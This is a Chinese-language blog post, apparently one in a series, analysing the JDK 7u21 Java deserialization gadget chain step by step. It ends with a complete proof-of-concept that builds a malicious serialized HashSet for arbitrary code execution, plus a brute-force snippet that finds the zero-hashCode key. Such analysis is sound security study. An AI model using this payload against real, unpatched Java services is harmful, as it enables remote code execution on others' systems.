目录

Java反序列化漏洞系列-5

JDK 7U21 Gadget

问题
前面的文章中介绍的都是利用第三方库的反序列化利用链。没有合适的第三方库存在时,Java 反序列化是否还能利用。

首先,存在不依赖第三方库的 Java 反序列化利用链,但是,Java 新版本没有这样的问题。

1 原理

JDK7u21 的核心点是 sun.reflect.annotation.AnnotationInvocationHandler ,这个类在之前的分析中提到过。在 AnnotationInvocationHandler 类中有个 equalsImpl 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011129205.png-water_print

反射调用:memberMethod.invoke(o) ,而 memberMethod 来自于 this.type.getDeclaredMethods()

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011135011.png-water_print

也就是说, equalsImpl 这个方法是将 this.type 类中的所有方法遍历并执行了。那么,假设 this.typeTemplates 类,则势必会调用到其中的 newTransformer()getOutputProperties() 方法,进而触发任意代码执行。这就是 JDK7u21 的核心原理。

2 构造

现在的思路就是通过反序列化调用 equalsImplequalsImpl 是一个私有方法,在 AnnotationInvocationHandler#invoke 中被调用:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011138481.png-water_print

InvocationHandler 是一个接口,只有一个方法就是 invoke

前面的文章提到过,在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到 InvocationHandler#invoke。执行 invoke 时,被传入的第一个参数是这个 proxy 对象,第二个参数是被执行的方法名,第三个参数是执行时的参数列表。

AnnotationInvocationHandler 就是一个 InvocationHandler 接口的实现,它的 invoke 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011146720.png-water_print

可见,当方法名等于 equals,且仅有一个 Object 类型参数时,会调用到 equalImpl 方法。 所以,现在的问题变成,找到一个方法,在反序列化时对 proxy 调用 equals 方法。

3 调用链

在比较 Java 对象时,常用到两种方法:

  • equals
  • compareTo

任意 Java 对象都拥有 equals 方法,它通常用于比较两个对象是否是同一个引用。另一个常见的会调用 equals 的场景就是集合 setset 中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作。

HashSet 的 readObject 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011151879.png-water_print

这里使用了一个 HashMap,将对象保存在 HashMap 的 key 处来做去重。

跟进 HashMap 的 put 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011153259.png-water_print

变量 i 就是哈希值。两个不同的对象的 i 相等时,才会执行到 key.equals(k) ,触发前面说过的代码执行。

接下来的思路就是为了让 proxy 对象的哈希,等于 TemplateImpl 对象的哈希。

计算哈希的主要是下面这两行代码:

1
2
int hash = hash(key);
int i = indexFor(hash, table.length);

将其中的关键逻辑提取出来,可以得到下面这个函数:

1
2
3
4
5
6
7
public static int hash(Object key) {
    int h = 0;
    h ^= key.hashCode();
    h ^= (h >>> 20) ^ (h >>> 12);
    h = h ^ (h >>> 7) ^ (h >>> 4);
    return h & 15;
}

除了 key.hashCode() 外再没有其他变量,所以 proxy 对象与 TemplateImpl 对象的哈希是否相等,仅取决于这两个对象的 hashCode() 返回值是否相等。TemplateImplhashCode() 是一个Native 方法,每次运行都会发生变化,理论上是无法预测的,所以想让 proxyhashCode() 与之相等,只能通过 proxy.hashCode()

proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl ,跟进这个方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011157332.png-water_print

遍历这个 Map 中的每个 key 和 value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。

JDK7u21 中使用了一个非常巧妙的方法:

  • memberValues 中只有一个 key 和一个 value 时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
  • key.hashCode()==0 时,任何数异或 0 的结果仍是它本身,所以该哈希简化成 value.hashCode()
  • value 就是 TemplateImpl 时,这两个哈希就变成完全相等

因此,通过寻找一个 hashCode 是 0 的对象作为的 key,将恶意 TemplateImpl 对象作为 value,这个 proxy 计算的 hashCode 就与 TemplateImpl 对象本身的 hashCode 相等了。

找一个 hashCode 是 0 的对象,通过一个简单的爆破程序来实现:

1
2
3
4
5
6
7
8
public static void bruteHashCode()
{
    for (long i = 0; i < 9999999999L; i++) {
        if (Long.toHexString(i).hashCode() == 0) {
            System.out.println(Long.toHexString(i));
        }
    }
}

第一个结果是 f5a5a608,这个也是 ysoserial 中用到的字符串。

4 总结

按照如下步骤来构造:

  • 生成恶意 TemplateImpl 对象
  • 实例化 AnnotationInvocationHandler 对象
    • type 属性是 TemplateImpl
    • memberValues 属性是一个 Map,Map 只有一个 key 和 value,key 是字符串 , value 是前面生成的恶意 TemplateImpl 对象
  • 对这个 AnnotationInvocationHandler 对象做一层代理,生成 proxy 对象
  • 实例化一个 HashSet,这个 HashSet 有两个元素,分别是:
    • TemplateImpl 对象
    • proxy 对象
  • 将 HashSet 对象进行序列化

反序列化触发代码执行的流程如下:

  • 触发 HashSet 的 readObject 方法,其中使用 HashMap 的 key 做去重
  • 去重时计算 HashSet 中的两个元素的 hashCode ,通过构造二者相等,进而触发 equals() 方法
  • 调用 AnnotationInvocationHandler#equalsImpl 方法
  • equalsImpl 中遍历 this.type 的每个方法并调用
  • this.typeTemplatesImpl 类,所以触发了 newTransform()getOutputProperties() 方法
  • 任意代码执行

POC 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package main.java;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class OriginalGadgetDemo {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/7u21Gadget/src/main/java/EvilTemplatesImpl.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(OriginalGadgetDemo.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        // System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

参考

phith0n Java 漫谈系列

Java反序列化漏洞原理解析

Java反序列化漏洞从入门到关门

从0开始学Java反序列化漏洞

深入理解 JAVA 反序列化漏洞

Java反序列化利用链补全计划

Commons-Collections 利用链分析

深入 Java 原生反序列化 & JDK7u21 利用链分析